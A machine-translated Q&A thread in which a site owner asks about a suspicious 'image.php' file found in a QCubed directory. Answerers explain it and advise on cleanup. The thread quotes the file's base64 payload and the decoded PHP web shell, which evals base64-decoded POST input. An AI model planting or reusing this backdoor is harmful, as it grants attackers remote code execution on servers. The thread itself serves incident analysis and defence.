base64로 인코딩 된 $ _POST [ 'e'] 변수의 eval은 실제로 무엇을합니까?

좋아, 내가 뭘 찾았는지 여기에 :

qcubed 디렉토리에 업로드 된 "image.php"라는 이름의 업로드 된 파일이있는 것 같습니다.

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==

는이에 추가 디코딩 :

if(isset($_POST['e'])) 

eval(base64_decode($_POST['e'])); 

echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';

내가 다른 사이트에 simillar qcubed 취약점을 발견 출력 됨 문자열을 검색 image.php 파일은 다음 base64로 코드가 포함 된

. 내가 정말 무엇을 (: http://ostermiller.org/calc/encode.html 사용) 이해 돈`t

196.231-172.28:ifacermpubmice:afac42eri02

: 내가 가진 마지막 에코 문자열을 디코딩

내가 특별히 여기있는 부분을 설명해 주실 수 있습니까? 이 문제를 해결하기 위해 어떤 보안 취약점을 해결해야합니까?

출처

2010-11-22 Gabriel

내가 무엇을 포함하고 있는지 알았습니다. passwd 파일 구조와 비슷합니다. http://www.regatta.cmc.msu.ru/doc/usr/share/man/info/ru_RU/ a_doc_lib/files/aixfiles/passwd.htm 아마도 누군가에게 도움이 될 것입니다. – Gabriel

qcubed 디렉토리에 업로드했다고하셨습니다. 'qcubed'디렉토리의 의미에 대해 설명해 주시겠습니까? –

@VaibhavKaushal QCubed는 프레임 워크이며 qcubed 디렉토리는 중요하지 않습니다. – Gabriel

스크립트는 e POST 변수에서 가져온 모든 PHP 코드를 실행합니다. 물론 이것은 끔찍하고 가장 위험한 취약점입니다.

echo 문장 은 올바른 버전이 설치되어있는 공격 스크립트에 대한 확인입니다.

그러나 실제로는 image.php 파일을 해당 디렉토리에서 실행할 수있는 경우에만 위험합니다. 파일이 처음에 어떻게 도착했는지 알지 못하면 무엇을해야하는지에 대한 조언을하기가 어렵습니다.

출처

2010-11-22 13:00:25

바로 그거야. 나는 그것이 실제로 어떻게되었는지 알지 못한다. qcubed의 다른 디렉토리가 영향을받은 것으로 보인다. 어쨌든이 공격이 다른 공격과 섞이지 않는다면 디렉토리와 파일에 직접 액세스 할 수 없습니다. 조언이나 충고? 내가 한 또 다른 일은 qcubed 루트 디렉토리의 전용 .htaccess가있는 제한 절에 의해 로컬 영역에만 디렉토리를 제한하는 것입니다. 다시 말하지만, 모든 조언과 조언이 필요하십니까? – Gabriel

@Gabriel은 말하기가 어렵습니다. Gcubed의 취약점을 사용하여 가능한 모든 디렉토리에 파일을 저장하는 것이 가능했을 수 있습니다. 그것은 또한 다른 웹 응용 프로그램 (오래된 Wordpress 버전이 유력한 범죄자가 될 수 있음)에서 위반되었을 수 있습니다. FTP 계정이 손상된 경우 침입자는 그와 같은 파일을 힘들이지 않게 복사하는 데 거의 신경을 쓰지 않을 것입니다. 물론 확실하지는 않지만 스크립트에 의해 악용 된 취약점과 같은 냄새가납니다. Gcubed의 포럼에서 알려진 취약점이 있는지 확인하십시오. –

업로드 된 파일을 합법적 인 스크립트 (예 : 유효성이 검증되지 않은 사용자 입력)로 포함 할 수 없으므로 htaccess로는 제한 할 수 없습니다. –

대다수의 스크립트 아동이 exploit을 사용하여 사이트를 침입했을 가능성이 큽니다. PHP 애플리케이션과 라이브러리가 최신 버전인지 확인하십시오.

출처

2010-11-22 21:24:27 rook

base64로 인코딩 된 $ _POST [ 'e'] 변수의 eval은 실제로 무엇을합니까?

답변

관련 문제